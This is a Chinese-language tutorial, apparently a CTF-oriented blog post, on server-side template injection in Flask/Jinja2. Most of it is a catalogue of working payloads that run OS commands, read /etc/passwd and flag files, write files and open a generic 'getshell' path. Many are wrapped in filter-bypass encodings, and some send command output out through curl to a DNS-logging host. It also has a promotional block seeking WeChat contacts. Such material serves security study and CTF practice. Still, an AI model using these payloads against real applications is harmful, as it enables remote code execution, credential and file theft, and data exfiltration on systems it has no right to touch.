現在關於ssti注入的文章數不勝數,但大多數是關於各種命令語句的構造語句,且沒有根據版本、過濾等具體細分,導致讀者可能有一種千篇一律的感覺。所以最近詳細整理了一些SSTI常用的payload、利用思路以及題目,謹以結合題目分析以及自己的理解給uu們提供一些參考,如有寫錯的地方,還望大佬們輕噴。
在介紹下ssti(服務端模板注入)的具體成因及案例之前,有必要先引入模板引擎的概念。
模板引擎介紹
模板引擎(這裏特指用於Web開發的模板引擎)是爲了使用戶界面與業務數據(內容)分離而產生的,它可以生成特定格式的文檔,用於網站的模板引擎就會生成一個標準的HTML文檔。 其不屬於特定技術領域,它是跨領域跨平臺的概念。在Asp下有模板引擎,在PHP下也有模板引擎,在C#下也有,甚至JavaScript、WinForm開發都會用到模板引擎技術。模板引擎也會提供沙箱機制來進行漏洞防範,但是可以用沙箱逃逸技術來進行繞過。
SSTI(服務端模板注入)攻擊
SSTI(server-side template injection)爲服務端模板注入攻擊,它主要是由於框架的不規範使用而導致的。主要爲python的一些框架,如 jinja2 mako tornado django flask、PHP框架smarty twig thinkphp、java框架jade velocity spring等等使用了渲染函數時,由於代碼不規範或信任了用戶輸入而導致了服務端模板注入,模板渲染其實並沒有漏洞,主要是程序員對代碼不規範不嚴謹造成了模板注入漏洞,造成模板可控。注入的原理可以這樣描述:當用戶的輸入數據沒有被合理的處理控制時,就有可能數據插入了程序段中變成了程序的一部分,從而改變了程序的執行邏輯。
各框架模板結構如下圖所示:
實例
這裏使用python的flask框架測試ssti注入攻擊的過程。
from flask import Flask, render_template, request, render_template_string
app = Flask(__name__)
@app.route('/ssti', methods=['GET', 'POST'])
def sb():
template = '''
<div class="center-content error">
<h1>This is ssti! %s</h1>
</div>
''' % request.args["x"]
return render_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
本地測試如下:
發現存在模板注入
獲得字符串的type實例
?name={{"".__class__}}
這裏使用的置換型模板,將字符串進行簡單替換,其中參數x
的值完全可控。發現模板引擎成功解析。說明模板引擎並不是將我們輸入的值當作字符串,而是當作代碼執行了。
{{}}
在Jinja2中作爲變量包裹標識符,Jinja2在渲染的時候會把{{}}
包裹的內容當做變量解析替換。比如{{1+1}}
會被解析成2
。如此一來就可以實現如同sql注入一樣的注入漏洞。
以flask的jinja2引擎爲例,官方的模板語法如下:
{% ... %} 用於聲明,比如在使用for控制語句或者if語句時
{{......}} 用於打印到模板輸出的表達式,比如之前傳到到的變量(更準確的叫模板上下文),例如上文 '1+1' 這個表達式
{# ... #}
用於模板註釋
# ... ##
用於行語句,就是對語法的簡化#...#可以有和{%%}相同的效果
由於參數完全可控,則攻擊者就可以通過精心構造惡意的 Payload 來讓服務器執行任意代碼,造成嚴重危害。下圖通過 SSTI 命令執行成功執行 whoami 命令:
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
可以看到命令被成功執行了。下面講下構造的思路:
一開始是通過class通過 base 拿到object基類,接着利用 subclasses() 獲取對應子類。在全部子類中找到被重載的類即爲可用的類,然後通過init去獲取globals全局變量,接着通過builtins獲取eval函數,最後利用popen命令執行、read()讀取即可。
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
上述構造及實例沒有涉及到過濾,不需要考慮繞過,所以只是ssti注入中較簡單的一種。但是當某些字符或者關鍵字被過濾時,情況較爲複雜。實際上不管對於哪種構造來說,都離不開最基本也是最常用的方法。下面是總結的一些常用到的利用方法和過濾器。
常用的方法
__class__ 類的一個內置屬性,表示實例對象的類。
__base__ 類型對象的直接基類
__bases__ 類型對象的全部基類,以元組形式,類型的實例通常沒有屬性 __bases__
__mro__ 查看繼承關係和調用順序,返回元組。此屬性是由類組成的元組,在方法解析期間會基於它來查找基類。
__subclasses__() 返回這個類的子類集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化類,返回的類型是function
__globals__ 使用方式是 函數名.__globals__獲取function所處空間下可使用的module、方法以及所有變量。
__dic__ 類的靜態函數、類函數、普通函數、全局變量以及一些內置的屬性都是放在類的__dict__裏
__getattribute__() 實例、類、函數都具有的__getattribute__魔術方法。事實上,在實例化的對象進行.操作的時候(形如:a.xxx/a.xxx()),都會自動去調用__getattribute__方法。因此我們同樣可以直接通過這個方法來獲取到實例、類、函數的屬性。
__getitem__() 調用字典中的鍵值,其實就是調用這個魔術方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 內建名稱空間,內建名稱空間有許多名字到對象之間映射,而這些名字其實就是內建函數的名稱,對象就是這些內建函數本身.
__import__ 動態加載類和函數,也就是導入模塊,經常用於導入os模塊,__import__('os').popen('ls').read()]
__str__() 返回描寫這個對象的字符串,可以理解成就是打印出來。
url_for flask的一個方法,可以用於得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一個方法,可以用於得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一個方法,可以用於得到__builtins__,而且lipsum.__globals__含有os模塊:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 應用上下文,一個全局變量。
config 當前application的所有配置。此外,也可以這樣{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
dict.get(key, default=None) 返回指定鍵的值,如果值不在字典中返回default值
dict.setdefault(key, default=None) 和get()類似, 但如果鍵不存在於字典中,將會添加鍵並將值設爲default
request 可以用於獲取字符串來繞過,包括下面這些,引用一下羽師傅的。
此外,同樣可以獲取open函數:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get傳參
request.values.x1 所有參數
request.cookies cookies參數
request.headers 請求頭參數
request.form.x1 post傳參 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post傳參 (Content-Type:a/b)
request.json post傳json (Content-Type: application/json)
[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8] //針對jinjia2/flask爲[9]適用
或者
[].__class__.__bases__[0] //其他的類似
__new__功能:用所給類創建一個對象,並且返回這個對象。
常用的過濾器
詳細說明可以參考官方文檔:https://jinja.palletsprojects.com/en/latest/templates/,這裏列出一些常用的,有待補充。
issubclass(A,B): 判斷A類是否是B類的子類
int():將值轉換爲int類型;
float():將值轉換爲float類型;
lower():將字符串轉換爲小寫;
upper():將字符串轉換爲大寫;
title():把值中的每個單詞的首字母都轉成大寫;
capitalize():把變量值的首字母轉成大寫,其餘字母轉小寫;
trim():截取字符串前面和後面的空白字符;
wordcount():計算一個長字符串中單詞的個數;
reverse():字符串反轉;
replace(value,old,new): 替換將old替換爲new的字符串;
truncate(value,length=255,killwords=False):截取length長度的字符串;
striptags():刪除字符串中所有的HTML標籤,如果出現多個空格,將替換成一個空格;
escape()或e:轉義字符,會將<、>等符號轉義成HTML中的符號。顯例:content|escape或content|e。
safe(): 禁用HTML轉義,如果開啓了全局轉義,那麼safe過濾器會將變量關掉轉義。示例: {{'<em>hello</em>'|safe}};
list():將變量列成列表;
string():將變量轉換成字符串;
join():將一個序列中的參數值拼接成字符串。示例看上面payload;
abs():返回一個數值的絕對值;
first():返回一個序列的第一個元素;
last():返回一個序列的最後一個元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}將輸出:Helloo? - Foo!
length():返回一個序列或者字典的長度;
sum():返回列表內數值的和;
sort():返回排序後的列表;
default(value,default_value,boolean=false):如果當前變量沒有值,則會使用參數中的值來代替。示例:name|default('xiaotuo')----如果name不存在,則會使用xiaotuo來替代。boolean=False默認是在只有這個變量爲undefined的時候纔會使用default中的值,如果想使用python的形式判斷是否爲false,則可以傳遞boolean=true。也可以使用or來替換。
length()返回字符串的長度,別名是count
select() 通過對每個對象應用測試並僅選擇測試成功的對象來篩選對象序列。如果沒有指定測試,則每個對象都將被計算爲布爾值
可以用來獲取字符串
實際使用爲
()|select|string
結果如下
<generator object select_or_reject at 0x0000022717FF33C0>
常用的構造語句
接着是總結的一些常用的命令執行語句。
無過濾
# 讀文件
#讀取文件類,<type ‘file’> file位置一般爲40,直接調用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)
#直接使用popen命令,python2是非法的,只限於python3
os._wrap_close 類裏有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
#調用os的popen執行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3專屬
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}
#調用eval函數讀取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
#調用 importlib類
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}
#調用linecache函數
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}
#調用communicate()函數
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
#寫文件
寫文件的話就直接把上面的構造裏的read()換成write()即可,下面舉例利用file類將數據寫入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}} ----python2的str類型不直接從屬於屬於基類,所以要兩次 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}
#通用 getshell
原理就是找到含有 __builtins__ 的類,然後利用。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
上面這些語句也不是說一成不變的隨意套題目,還需要根據是否有過濾、框架是否有該可利用類、python版本高低等進行構造利用鏈,等下面說到利用思路時再結合例題分析,接着總結有過濾的情況。
有過濾
繞過 .
中括號[]繞過
可以利用 [ ]代替 . 的作用。
{{().__class__}} 可以替換爲:
{{()["__class__"]}}
舉例:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}
attr()繞過
使用原生 JinJa2 的 attr()
函數。
{{().__class__}} 可以替換爲:
{{()|attr("__class__")}}
{{getattr('',"__class__")}}
舉例:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
繞過單雙引號
request繞過
flask中存在着request
內置對象可以得到請求的信息,request
可以用5種不同的方式來請求信息,我們可以利用他來傳遞參數繞過。
request.args.namerequest.cookies.namerequest.headers.namerequest.values.namerequest.form.name
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
#分析:
request.args 是flask中的一個屬性,爲返回請求的參數,這裏把path當作變量名,將後面的路徑傳值進來,進而繞過了引號的過濾。
若args被過濾了,還可以使用values來接受GET或者POST參數。
其他方法的例子,可根據題目過濾的東西動態調整方法來進行繞過
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd
chr繞過
如果使用GET請求時,+號記得url編碼,要不會被當作空格處理。
{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}
繞過關鍵字
反轉或+號
使用切片將逆置的關鍵字順序輸出,進而達到繞過。
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反轉
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])
利用"+"進行字符串拼接,繞過關鍵字過濾。
{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}
join拼接
利用join()函數來繞過關鍵字過濾,和使用+號連接大差不差。
{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}
利用引號繞過
以用 或 的形式來繞過:fl""ag``fl''ag
。
{{[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}}
使用str原生函數replace替換
將額外的字符拼接進原本的關鍵字裏面,然後利用replace函數將其替換爲空。
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
ascii轉換
將每一個字符都轉換爲ascii值後再拼接在一起。
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
16進制編碼繞過
我們可以利用對關鍵字編碼的方法,繞過關鍵字過濾,例如用16進制編碼繞過:
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}
base64編碼
對於python2的話,還可以利用base64進行繞過,對於python3沒有decode方法,所以不能使用該方法進行繞過。
"__class__"==("X19jbGFzc19f").decode("base64")
例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等價於
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
unicode編碼
{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()
Hex編碼
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等價於
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
8進制編碼
{{''['\137\137\143\154\141\163\163\137\137'].__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\137\137\151\155\160\157\162\164\137\137']('os').popen('whoami').read()}}
可見,對於這些編碼進行繞過,就是將是字符串的關鍵字進行編碼,然後進行對應解碼即可,rot13等其他編碼也是同理。
利用chr函數
因爲我們沒法直接使用chr函數,所以需要通過__builtins__
找到他
{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
在jinja2可以使用~進行拼接
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
繞過init
可以用__enter__
或__exit__
替代
{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
繞過config
過濾了config,直接用self.dict就能找到裏面的config
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context}}
繞過中括號[ ]
利用 getitem繞過
先用列表演示說明getitem()函數的作用是輸出序列屬性中的某個索引處的元素。
Python 3.7.8
>>> ["a","kawhi","c"][1]
'kawhi'
>>> ["a","kawhi","c"].pop(1)
'kawhi'
>>> ["a","kawhi","c"].__getitem__(1)
'kawhi'
{{"".__class__.__mro__[2]} 可以替換爲:
{{"".__class__.__mro__.__getitem__(2)
例子:
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()}
等價於
{{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}
魔術方法中的[]
調用魔術方法本來是不用中括號的,但是如果過濾了關鍵字,要進行拼接的話就不可避免要用到中括號,像這裏如果同時過濾了class和中括號,可以使用getattribute進行繞過。
object.__getattribute__(self, name)
是一個對象方法,當訪問某個對象的屬性時,會無條件的調用這個方法。
{{"".__getattribute__("__cla"+"ss__").__base__}}
配合request
{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__
例子:
{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami
pop()繞過
{{''.__class__.__mro__.__getitem__(5).__subclasses__().pop(48)('/flag').read()}} // 指定序列屬性
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(58).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}} // 指定字典屬性
但是應慎用pop()方法,因爲在python中pop()會刪除相應位置的值,在列表裏就是默認輸出最後一個元素並將其刪除。
繞過大括號{{}}
①使用{%%} 裝載一個循環控制語句來繞過:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
②用print進行標記,得到回顯
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
③使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 將執行結果外帶出來,不外帶的話執行結果無回顯。
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:8080/?i=`whoami`').read()=='p' %}1{% endif %}
繞過下劃線__
利用request對象繞過
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
等價於
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
繞過" ' []
對於多個過濾的話,就在無過濾的基礎上,將過濾的字符用上面各自對應的方法進行逐一替換後在拼接即可。
像這裏的過濾了單雙引號及中括號,那就用request方法代替''
、'
,用pop方法替換中括號
payload
{{().__class__.__base__.__subclasses__().pop(185).__init__.__globals__.__builtins__.eval(request.values.arg3).read()}}&arg3=__import__('os').popen('cat /f*')
繞過 " ' [] _
利用request.cookies.name
,接着使用flask自帶的attr
`' '|attr('__class__')`等價於`' '.__class__`
這是一個 過濾器,它只查找屬性,獲取並返回對象的屬性的值,過濾器與變量用管道符號( )分割。如:attr()``attr()``|
foo|attr("bar") 等同於 foo["bar"]
對於多種符號同時過濾,考慮用|attr( )結合其他方法進行繞過有強大的功能。
lipsum
是一個方法,其調用__globals__可以直接使用os執行命令
{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
例子:
{{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie: a=__globals__;b=cat /f*
繞過 " ' [] _ os
多過濾了os關鍵字,可以使用request.cookies.a
繞過即可,在剛剛繞過 " ' [] _的基礎上在最後的傳參數將os傳入即可達到繞過。payload
{{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie: a=__globals__;b=os;c=cat /f*
繞過 " ' [] _ os {{ }}
在剛剛的基礎上再多過濾大括號,使用print來標記使其有回顯。payload
?name={%print((lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read())%}
Cookie: a=__globals__;b=os;c=cat /f*
繞過 " ' arg [] _ os {{ }} request
使用~拼接pop組合出的各個字符,最後在拼接在一起達到繞過。payload
{% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}
等價於:
{% print lipnum|attr('__globals__').get('os').popen('cat /flag').read()%}
或者使用chr
:
{%set po=dict(po=a,p=a)|join%} #pop
{%set xia=(()|select|string|list).pop(24)%} #_
{%set ini=(xia,xia,dict(init=a)|join,xia,xia)|join%} #__init__
{%set glo=(xia,xia,dict(globals=a)|join,xia,xia)|join%} #__globals__
{%set built=(xia,xia,dict(builtins=a)|join,xia,xia)|join%} # __builtins__
{%set a=(lipsum|attr(glo)).get(built)%}
{%set chr=a.chr%} #chr()
例子:
{%print a.eval( chr(39)~chr(39)~chr(46)~chr(95)~chr(95)~chr(99)~chr(108)~chr(97)~chr(115)~chr(115)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(98)~chr(97)~chr(115)~chr(101)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(115)~chr(117)~chr(98)~chr(99)~chr(108)~chr(97)~chr(115)~chr(115)~chr(101)~chr(115)~chr(95)~chr(95)~chr(40)~chr(41)~chr(91)~chr(55)~chr(55)~chr(93)~chr(46)~chr(95)~chr(95)~chr(105)~chr(110)~chr(105)~chr(116)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(103)~chr(108)~chr(111)~chr(98)~chr(97)~chr(108)~chr(115)~chr(95)~chr(95)~chr(91)~chr(39)~chr(111)~chr(115)~chr(39)~chr(93)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(108)~chr(115)~chr(39)~chr(41)~chr(46)~chr(114)~chr(101)~chr(97)~chr(100)~chr(40)~chr(41))%}
等價於:
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
使用下面的腳本來獲得ascii碼
<?php
//使用chr繞過ssti過濾引號
$str="''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()";
$result='';
for($i=0;$i<strlen($str);$i++){
$result.='chr('.ord($str[$i]).')~';
}
echo substr($result,0,-1);
繞過 " ' [] _ os {{ }} 數字
數字
可以使用全角數字替代。payload
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
將半角數字轉換爲全角的腳本如下:
# 繞過ban數字
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
while 1:
s = input("輸入想要的數字")
for i in s:
t+=half2full(i)
print(t)
繞過 " ' arg [] _ os {{ }} 數字 print
使用全角數字和chr進行命令執行,但是結果要使用在線dns外帶。
<?php
//使用chr繞過ssti過濾引號
$str="__import__('os').popen('curl http://`cat /flag`.eekough.ceye.io')";
$result='';
for($i=0;$i<strlen($str);$i++){
$result.='chr('.ord($str[$i]).')~';
}
echo substr($result,0,-1);
將普通數字變成全角的腳本如下:
#正則匹配出字符串中的數字,然後返回全角數字
import re
str="""chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41)
"""
result=""
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
for i in re.findall('\d{2,3}',str):
result+="chr("+half2full(i)+")~"
print(i)
print(result[:-1])
payload:
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
